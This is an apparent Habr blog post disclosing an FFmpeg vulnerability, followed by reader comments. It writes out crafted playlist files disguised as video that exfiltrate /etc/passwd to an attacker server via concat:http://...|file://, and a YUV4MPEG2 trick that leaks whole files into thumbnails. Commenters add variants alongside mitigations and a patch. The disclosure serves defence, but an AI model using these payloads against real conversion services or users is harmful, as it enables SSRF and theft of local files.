Всем привет! Я Максим Андреев, программист бэкенда Облака Mail.Ru. В свободное время я люблю искать баги. В сегодняшнем посте я хочу рассказать об одной довольно интересной уязвимости, которую я нашёл и зарепортил в bug bounty нескольких крупных компаний, за что получил солидное вознаграждение. Уязвимость заключается в следующем: если сформировать специальный видеофайл и загрузить его на сервер, то:
- можно получить на нём SSRF;
- можно получить local file read;
- если пользователь скачает этот файл, то автоматически будет подвержен уязвимостям, даже если его не откроет: можно будет получить доступ к данным на компьютере пользователя и узнать его имя.
Техническое предисловие
Существует огромное количество кодеков, видео- и аудиоформатов, но иногда бывает нужно получить что-то конкретное, пропустив всё это множество через некоторый чёрный ящик. Например, нам может потребоваться на выходе MP4-видео с заданным качеством либо JPEG-превьюшка. Довольно часто этим чёрным ящиком становится FFmpeg. Это open source набор библиотек и бинарных утилит, он активно развивается, поддерживает большое число аудио- и видеокодеков, поэтому его часто применяют для конвертации видео и генерации thumbnails, как в виде отдельного инструмента, так и в виде отдельных библиотек, используемых сторонними приложениями. Большинство крупных компаний запускают FFmpeg командой из скрипта или какого-то бинарника, делают fork-exec. Так сложилось, что проще из бинарника форкнуться и исполнить FFmpeg-бинарник, чем городить всё это с использованием библиотек.
Создание вредоносного файла
В составе FFmpeg есть консольная утилита ffmpeg. Создадим файл test.avi, который действительно является файлом avi, и скопируем его с двумя другими расширениями: .mov и .123. Если попросить ffmpeg сконвертировать любой из этих файлов, то он без проблем всё выполнит, то есть он не обращает внимания на расширение файла. Но здесь есть одно важное исключение, которое мне очень пригодилось в осуществлении одной из описанных в дальнейшем атак, но об этом чуть позже.
Существует такой формат видео, как HLS (HTTP Live Streaming). Он разработан компанией Apple для передачи потокового видео. Этот формат поддерживает такую приятную штуку, как адаптивный стриминг, то есть изменение качества в процессе проигрывания. Но для нас здесь важно то, что формат состоит из так называемого главного плей-листа, в котором перечислено несколько других плей-листов с каким-то заданным качеством, а уже в этих плей-листах перечислены кусочки видео.
Создадим файл test.mp4, который на самом деле является m3u8 плей-листом HLS:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://www.example.org/1.mp4
#EXT-X-ENDLIST
У него есть заголовок, есть окончание и ссылка, по которой нужно брать кусочек видео. Как мы уже знаем, необязательно присваивать расширение .m3u8, файл может называться test.mp4 или test.mov — ffmpeg всё равно поймёт, что это плей-лист m3u8, и будет интерпретировать его именно как плей-лист. Если прогнать наш test.mp4 через любой из многих миллионов сайтов «конвертировать видео онлайн», то ffmpeg, который используется этим онлайн-конвертером, интерпретирует файл как плей-лист, пройдёт по указанной в нём ссылке и на нашем сервере мы увидим GET-запрос с IP этого онлайн-конвертера:
Запрос от одного из онлайн-конвертеров к нашему серверу
То есть на данный момент у нас уже есть простая SSRF, правда, пока мы не можем читать ответ.
Пойдём дальше. Я упоминал про важное исключение, связанное с расширениями файлов. Предложим ffmpeg сконвертировать текстовый файл file.txt в видеофайл out.mp4. Как вы думаете, что произойдёт в данном случае? В файле out.mp4 будет видео, в котором этот текстовый файл проиграется просто бегущими строками! Получается, мы уже можем красть с этих онлайн-сервисов конвертации любые txt-файлы. Но это нам не очень интересно. Перейдём дальше.
А что, если мы к http url допишем в конце в GET-параметр .txt? Оказывается, ffmpeg подумает, что это текстовый файл и надо интерпретировать ответ как txt. Вот пример запроса к mail.ru:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://www.mail.ru/?.txt
#EXT-X-ENDLIST
HTML-код из ответа проигрывается в полученном видео! То есть в данном случае мы получили возможность с помощью этой SSRF читать ответ на любые сетевые запросы.
Двигаемся дальше. FFmpeg поддерживает огромное количество различных протоколов, в том числе concat. Согласно документации, этот протокол читает бинарный поток данных из нескольких источников, склеивает и в дальнейшем интерпретирует их, как будто они из одного источника.
Давайте разберём на примере. Допустим, у нас есть файл header.m3u8, такой недоделанный плей-лист, в котором написано «example.org?». Сделаем так, чтобы FFmpeg после подачи ему test.avi с помощью протокола concat сформировал хитрый m3u8, содержащий file:///etc/passwd, и отправил это на наш сервер example.org:
файл, размещённый на dx.su/header.m3u8:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://example.org?
test.avi:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dx.su/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
v
http://example.org?# $FreeBSD: release/10.0.0/et..
FFmpeg, получив test.avi, возьмёт header.m3u8 и раскроет его как example.org, а из file:///etc/passwd возьмёт первую строчку, сконструирует URL и перейдёт по нему. Таким образом, мы можем получить первую строчку совершенно любого локального файла, которая будет передана по HTTP на наш сервер, если мы контролируем example.org. Существует небольшой трюк, который позволяет нам не только красть первую строчку, но и читать весь файл построчно, — другой протокол с названием subfile. Я не стану здесь это расписывать, но, если вам интересно, посмотрите документацию, там ничего сложного нет.
Рассмотрим другой способ кражи всего файла. Воспользуемся таким же приёмом с concat и возьмём заголовок видеоформата YUV4MPEG2. Это формат без сжатия, с простым текстовым заголовком. Любой поток данных в этом файле интерпретируется как 8 бит на 1 пиксель, то есть 1 байт на 1 пиксель. Возьмём video.mp4, в котором будет сoncat этого header и file:///etc/passwd. Представим, что мы загрузили его на какой-то облачный видеосервис. Скорее всего, вы увидите превьюшку. А для её генерирования, скорее всего, тоже будет как-то использоваться FFmpeg.
Примем ради упрощения, что превьюшка у нас в формате PNG, то есть сжатая без потерь. Попросим ffmpeg сделать thumbnail из якобы MP4-видео video.mp4, которое на самом деле является хитрым плей-листом m3u8:
файл header.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME
файл video.mp4:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dx.su/header.y4m|file:///etc/passwd
#EXT-X-ENDLIST
ffmpeg -i video.mp4 thumbnail.png
thumbnail.png
А теперь полученный thumbnail декодируем обратно:
ffmpeg -i thumbnail.png out.y4m
файл out.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME
# $FreeBSD: release/10.0.0/etc/master.passwd 256366
,! 2013-10-12 06:08:18Z rpaulo $
#
root:*:0:0:Charlie &:/root:/usr/local/bin/zsh
toor:*:0:0:Bourne-again Superuser:/root:
…
Мы можем увидеть заголовок, который был в header.y4m, а в дальнейшем — полный текст file:///etc/passwd.
Предположим, что мы снова сгенерировали наш вредоносный файл с нужным заголовком, проделали трюк с concat, использовали file:///etc/passwd. Только теперь не загружаем файл на какой-то сервис, а просто отдаём пользователю, чтобы он его скачал и даже не запускал. Если вы пользуетесь, скажем, Kali Linux, то, пока будет генерироваться превьюшка, GStreamer передаст на наш сервер в реферере полный путь этого файла. Так мы можем узнать имя пользователя и какую-нибудь ещё непубличную информацию. А в случае с Ubuntu FFmpeg передаст нам первую строку file:///etc/passwd того пользователя, который просто скачал файл.
Запрос от Kali Linux
Запрос от Ubuntu Linux
В заключение
С помощью такого специально сконструированного видеофайла можно сначала делать просто SSRF-запросы без чтения ответа, читать ответ на любые сетевые запросы, читать локальные файлы, причём несколькими способами. И более того, мы даже можем направить эту атаку против обычных пользователей, которые всего лишь скачали файл, а не против серверов.
Кстати, об этой уязвимости я рассказывал на последнем Security Meetup’е — теперь они регулярно проходят у нас в Mail.Ru Group. Если вы хотите принять участие в одном из следующих и вам есть о чём рассказать, напишите об этом мне, Кариму valievkarim Валиеву или Владимиру z3apa3a Дубровину.
UPD: Как защититься от проблемы при кодировании видео на сервере с помощью ffmpeg:
- Запускать ffmpeg в изолированном окружении (в chroot или в контейнере) — обязательно, учитывая, что ffmpeg потенциально содержит много уязвимостей, независимо от описанной в данной статье проблемы (см. googleonlinesecurity.blogspot.ru/2014/01/ffmpeg-and-thousand-fixes.html).
- Запускать ffmpeg внутри этого окружения из-под отдельного пользователя с доступом на запись/чтение только туда, куда нужно.
- Отключить (--disable-network в configure) или ограничить (в iptables можно делать правила по uid'у пользователя) доступ к сети ffmpeg'у, если полное отключение невозможно.
Разработчики ffmpeg/libav уведомлены о проблеме, я сделал и отправил им патч.
Комментарии (66)
negasus
12.01.2016 12:02+5А как лучше всего защищаться от подобного? Как защитились крупные компании?
g0dlike
12.01.2016 12:11+1Вестимо, собрать собственный ffmpeg с включением только того, чего нужно, но подождем ответа автора, самому интересно:)
bappoy
12.01.2016 12:13Из текста следует, что проще всего отправлять плейлисты m4u на фильтрацию в /dev/null. Ясно же, что от пользователя ожидается нормальный видеофайл, а не ссылка на него. Если это не выход по каким-то причинам, то придется ограничивать поддержку обращений к внешним файлам / URL'ам в перекодировщике хотя бы путем выпиливания из кода или хитрым конфигом (навскидку в ffmpeg(1) не нашел ничего похожего)
cdump
12.01.2016 12:28+11Вот что я могу посоветовать:
— запускать ffmpeg в изолированном окружении — всегда хорошо и может помочь и при нахождении уязвимостей в самом ffmpeg
— ffmpeg внутри этого окружения из под отдельного пользователя с доступом на запись/чтение только туда, куда нужно.
— отключить (--disable-network в configure) или ограничить (в iptables можно делать правила по uid'у пользователя) доступ к сети ffmpeg'у, если полное отключение невозможно
в случае описанной аттаки даже любое одно из этих простых правил усложнило бы эксплуатацию уязвимости, а вместе они бы позволили защититься от нее.
Небольшое обсуждение по теме было в комментариях к другому посту, там я объяснял, почему мне не нравится идея с построением белого/черного списка форматов/кодеков.
monah_tuk
12.01.2016 13:59+3Сделайте препроцессинг. Можно натравить команду file на пользовательский файл и посмотреть ответ, можно выделить расширение и по нему просто форсировать формат:
указание формата имеет больший вес, чем автодетект по содержимому.ext=`echo "$in" | awk -F. '{print $NF}'` case "$ext" in mp4) format=mp4 ;; *) echo "unknown format" >&2 exit 1 ;; esac ffmpeg -f "$format" "$in" ....
Ну да, всякие chroot и прочие песочницы, перечисленные выше тоже мастхев. Ровно как и сборка FFmpeg под себя.
Пользовательский файл — ничем не отличается от любого другого пользовательского ввода. Всегда нужно защищаться и предохраняться. Действовать по приципу: запрещено всё, что не разрешено.monah_tuk
13.01.2016 10:56+1Кстати, можно запретить concat протокол при сборке:
-disable-protocol=concat
Кому нужно, склеить можно и через фильтры.
whisk
12.01.2016 14:28Очень круто исследование!
На относительно новых ffmpeg 2.8.1 и 2.5.1 повторить не удалось, видимо, механизм concat переработан.
Вот вывод netcat (для 2.8.1):
GET ? HTTP/1.1 User-Agent: Lavf/56.40.101 Accept: ?*/*? Connection: close Host: 127.0.0.1:5002 Icy-MetaData: 1
Обратите внимание на пустой query string и версию libavformat 56.40.101 (автор использует 54.20.4). Насколько я понимаю, это ffmpeg версии 1.2.x?cdump
12.01.2016 14:37+5Я сталкивался с таким, это из-за того, что в header.m3u8 в самом конце после «example.org?» есть \r и/или \n который вставил редактор, нужно их обязательно удалить, чтобы последний байт был "?".
Проверить можно через $ hexdump -C header.m3u8 — это 0x0a / 0x0d
В ffmpeg 2.8.x пару месяцев назад все воспроизводилось.whisk
12.01.2016 14:44Действительно, без \n баг повторяется на последней версии ffmpeg.
cdump
12.01.2016 14:45+8Но я бы не навзывал это багом ffmpeg, ведь concat работает точно так, как и описанно в его документации :)
whisk
12.01.2016 18:26+2Да, пожалуй, concat работает верно — неверно работает HLS demuxer (URL, начинающийся с concat, явно не соотвествует спекам HLS)
Как один из вариантов решения проблемы — отказаться от использования hls demuxer при сборке:
--disable-demuxer='hls,applehttp'
Если нет возможность отключить сетевое взаимодействие.monah_tuk
13.01.2016 10:57+1А если только concat протокол: habrahabr.ru/company/mailru/blog/274855/#comment_8736805?
monah_tuk
13.01.2016 11:09К слову сказать, я не совсем понял, где такое поведение описано в документации: www.ffmpeg.org/ffmpeg-protocols.html#concat?
cdump
13.01.2016 11:12+1Read and seek from many resources in sequence as if they were a unique resource.
я это понимаю как
concat:first://arg1|second://arg2 => ./result `./first arg1``./second arg2`monah_tuk
13.01.2016 11:39-1Но тогда, из ихнего же примера, получится так:
ffplay concat:split1.mpeg\|split2.mpeg\|split3.mpeg => ffplay split1.mpegsplit2.mpegsplit3.mpeg
Что-то тут не то. Косвенно это подтверждает документация на фильтр concat: www.ffmpeg.org/ffmpeg-filters.html#concat а так же код демуксера:
static int concat_read_packet(AVFormatContext *avf, AVPacket *pkt) { .... while (1) { ret = av_read_frame(cat->avf, pkt); if (ret == AVERROR_EOF || packet_after_outpoint(cat, pkt)) { .... if ((ret = open_next_file(avf)) < 0) // <========= открываем следующий файл, а не собираем воедино return ret; continue; } ... } if ((ret = filter_packet(avf, cs, pkt))) return ret; ... return ret; }
В протокольной реализации — аналогично: последовательно идём по списке URL.
monah_tuk
13.01.2016 12:03Ох, извиняюсь! Вы правы, он как бы их склеивает. Читаются они последовательно. Более детально код посмотрел. Но всё равно, больше одной стороки из второго файла прочитать не получится, точнее прочитается, но запросом на другой сервер отправить получится только одну: дальше будет читаться второй файл, а в нём уже нужных URL и нет. Сохранение же в выходной файл продолжает работать, но эта проблема лечится фильтрацией по входу и форсированным указанием формата, плюс отключением concat протокола (его полезность вообще сомнительна, кроме как для header-less входных данных).
cdump
13.01.2016 12:20+1В плейлисте может быть плейлист, и если в ответ на полученную первую строчку прислать в ответ еще один плейлист, где будет запрос с нужным offset'ом (subfile) второй строчки, а дальше повторять так, пока не прочитаем весь файл построчно, то все должно получиться.
monah_tuk
13.01.2016 13:19Собрал header.m3u8:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://localhost/remote.m3u8?
и remote.m3u8:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://localhost/remote.m3u8?
Всё зависло: pastebin.com/bt4MySQy а вот опции offset у file: нет. Есть только truncate и blocksize.cdump
13.01.2016 13:26offset есть у subfile
monah_tuk
13.01.2016 13:35habrahabr.ru/company/mailru/blog/274855/#comment_8737209, проверил с subfile (кстати спасибо за наводку, не за всем следить получается) — либо я что-то делаю не так.
monah_tuk
13.01.2016 13:27Друго фариант
test.mkv — инъекция
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://localhost/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST
header.m3u8:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://localhost/remote.m3u8?
и remote.m3u8
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://localhost/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST
Запросы идут такого плана: pastebin.com/tTq7K6K3
т.е. в ответ на remote.m3u8 и приходит playlist, но обрабатывается уже как-то по другому.
monah_tuk
13.01.2016 13:46Попробовал ещё по другому, модифицировал test.mkv так:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwd concat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwd concat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwd concat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd #EXT-X-ENDLIST
тоже безуспешно.
monah_tuk
14.01.2016 12:36Получилось вот так: www.linux.org.ru/news/security/12265930?cid=12269879
Для полноты картины, небольшой смарт-тест на предмет опасности тамбнейлов: www.linux.org.ru/news/security/12265930?cid=12269783
А вообще, не хорошо публиковать подобные проблемы до фикса. Не этично как-то.pdn_mail
20.01.2016 09:11+1А как вы собираетесь донести эту проблему до всех пользователей и держателей сервиса по всему миру??
Вот именно что об этом надо кричать на весь мир, а не публиковать в секретных материалах.monah_tuk
20.01.2016 10:12+1(в сердцах: да что же это такое...)
Объясняю: находишь проблему, сразу пишешь не на форум/хабр/ещё куда, а в список рассылки проблемного продукта. Именно так, не иначе.
Дальнейшие действия могут иметь вариативный характер:
- Чуть подождать (допустим — сутки), но получить подтверждение проблемы в рассылке и совет как обезопасить. В данном случая: выключить concat и/или hls или форсировать формат (что валидно для случая сервисов). Это могут сделать как маинтейнеры пакетов, так и конечный пользователь и это уже позволит избежать проблем.
- Опубликовать в открытом доступе, если реакции нет никакой.
И вот тут только доносите проблему до пользователей по всему миру любым желаемым способом. Причём, скорее всего, с советом — что можно сделать. А не рекомендацией закрыть свой сервис или не скачивать видео из интернета вообще.
Заметьте, в таком сценарии от момента обнаружения проблемы, до момента публикации миру проходит не более суток. В случае описанной проблемы:
- Прошло почти 2 месяца (как сказал автор, уязвимость упоминалась на habrahabr.ru/company/mailru/blog/270077, который проходил 22 октября 2015 года).
- Разработчики были одними из последних, кому сообщили о проблеме (после вопросов в комментариях).
monah_tuk
15.01.2016 05:09-1Версию 54.20.4 ещё libav отдаёт. В LTS 14.04 убунты это Libav 9.18. Чисто к сведению.
MrFrizzy
12.01.2016 20:37+5Похоже, помимо самого ffmpeg страдают и все производные либы\плееры: я на smplayer локально воспроизвел.
Теперь как-то стремно запускать любые виды файлов на любых девайсах…
Фаервол и песочницы наше всеMrFrizzy
12.01.2016 21:52+2Кстати, автору хоть и респект, но вот я предвкушаю сейчас волну видео на торрентах и прочих файлопомойках с «изюминкой». В самом страшном сне — внедрение фрэйма в видео непосредственно при закачке с сервера.
И вот защиты кроме песочницы до фикса со стороны маинтейнеров ffmpeg и всех производных я пока не придумал.
А потом еще всех обновится заставить нужно… А еще же есть куча юзеров, не подпадающих под описание «сознательный юниксоид». А еще разные недоприложения на разные платформы…
O, SHI~
whisk
12.01.2016 23:17Да. Например, если попытаться определить формат файла утилитой ffprobe, то сработает эта же уязвимость.
MrFrizzy
12.01.2016 23:45+1Самое страшное, что срабатывает даже фоновая индексация, к примеру, kde baloo.
Мне кажется, стоило бы на этом особо акцентировать внимание, заодно написать, засланы ли баги непосредственно маинтейнерам софта или пора надевать шапочки из фольги и отключать интернетcdump
13.01.2016 09:55+2До публикации этой статьи я считал, что проблемы в ffmpeg нету и фиксить в нем нечего, но whisk в обсуждении поста написал
Да, пожалуй, concat работает верно — неверно работает HLS demuxer (URL, начинающийся с concat, явно не соотвествует спекам HLS)
и я с ним согласен
Постараюсь на выходных (а может и раньше) сделать патч / хотя бы отписать разработчикам ffmpeg с указанием хорошего, по моему мнению, решения для фикса.cdump
13.01.2016 13:17+2UPD: патч/репорт в ffmpeg/libav отправлены
monah_tuk
13.01.2016 13:48Можно ссылку на репорт? Или в мыл-лист кинуто?
cdump
13.01.2016 14:29На security@, поэтому ссылки нет
monah_tuk
13.01.2016 17:42А патч можно? Что бы, к примеру, у себя в PPA добавить в сборку, пока в официальных версиях нет.
cdump
13.01.2016 17:45+1Я предложил такой вариант, но его желательно проверить тому, кто нормально знаком с кодом ffmpeg.
diff --git a/libavformat/hls.c b/libavformat/hls.c index cd64501..8893f24 100644 --- a/libavformat/hls.c +++ b/libavformat/hls.c @@ -610,6 +610,10 @@ static int open_url(HLSContext *c, URLContext **uc, const char *url, AVDictionar { AVDictionary *tmp = NULL; int ret; + const char *proto_name = avio_find_protocol_name(url); + // only http(s) & file are allowed + if (!av_strstart(proto_name, "http", NULL) && !av_strstart(proto_name, "file", NULL)) + return AVERROR_INVALIDDATA; av_dict_copy(&tmp, c->avio_opts, 0); av_dict_copy(&tmp, opts, 0);MrFrizzy
14.01.2016 16:38В Ubuntu, похоже, послали, мол не наша проблема:
Since the package referred to in this bug is in universe or multiverse, it is community maintained. If you are able, I suggest coordinating with upstream and posting a debdiff for this issue. When a debdiff is available, members of the security team will review it and publish the package.
Ждем патча от ffmpeg team
darkdaskin
14.01.2016 19:23А почему белый список протоколов? Спека же не запрещает использовать другие, если я правильно понял. Например, бывает удобно играть медиа-файлы через FTP.
monah_tuk
15.01.2016 05:35-1Ну, как быстрый — вполне себе. Редко когда HLS используется в связке с FTP или другими протоколами. С другой стороны, согласен, что стоило бы исключить только «внутренние» протоколы, которые может понять только FFmpeg. Но, что бы не говнякать, нужно как-то научиться отличать внутренние от не внутренних. Возможно, какой-то флаг добавится к AVFMT_xxx
Scratch
13.01.2016 09:34Не могу заставить работать конкат на windows, Invalid data found when processing input хоть ты убейся.
mp4 выглядит так:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://mysite.local/header.y4m|file://d:/Web.config #EXT-X-ENDLISTScratch
13.01.2016 09:44Пардон, заработало вот так
|Web.config
, правда не весь файл а только часть. Но все равно очень крутоcdump
13.01.2016 09:47+1Первая строчка?
Для всего файла нужно поступить чуть хитрее, полного описания этого способа я в статье не выложил, но сам проверял — все работает. Если интересно — смотреть нужно на протокол subfileScratch
13.01.2016 10:03нет, не первая, там прилично строчек. Думаю там столько, сколько влезло в картинку 30х30
cdump
13.01.2016 10:05+1А, я думал речь про concat с урлом.
В любом случае, картинка — это красиво, но subfile — это полный файл без искаженийScratch
13.01.2016 10:20Да мне просто поиграться ) в общем, картинка работает пока файл больше, чем её размер. Если слишком большой размер картинки сделать, то ффмпег ничего не говорит
monah_tuk
13.01.2016 10:59Кстати, только сейчас в голову пришло: я не вижу ссылки на баг-репорт. Он есть? Или патч с исправлением проблемы отослан разработчикам FFmpeg?
cdump
13.01.2016 11:00+2monah_tuk
13.01.2016 11:15Отлично, хотя, мне кажется проблема в concat тоже есть: habrahabr.ru/company/mailru/blog/274855/#comment_8736847
Lsh
14.01.2016 01:53FFmpeg «фиксить не надо», это не решение проблемы, т.к. таких хитропопостей может быть еще вагон.
Нужно что-то вроде: habrahabr.ru/post/113143
(извините, что ссылаюсь на свой бред =) )
MrFrizzy
16.01.2016 14:02Присвоены две CVE:
CVE-2016-1897
CVE-2016-1898
Ждем патчей в своих дистрах ;)
wbb
Очень интересные трюки. Респект.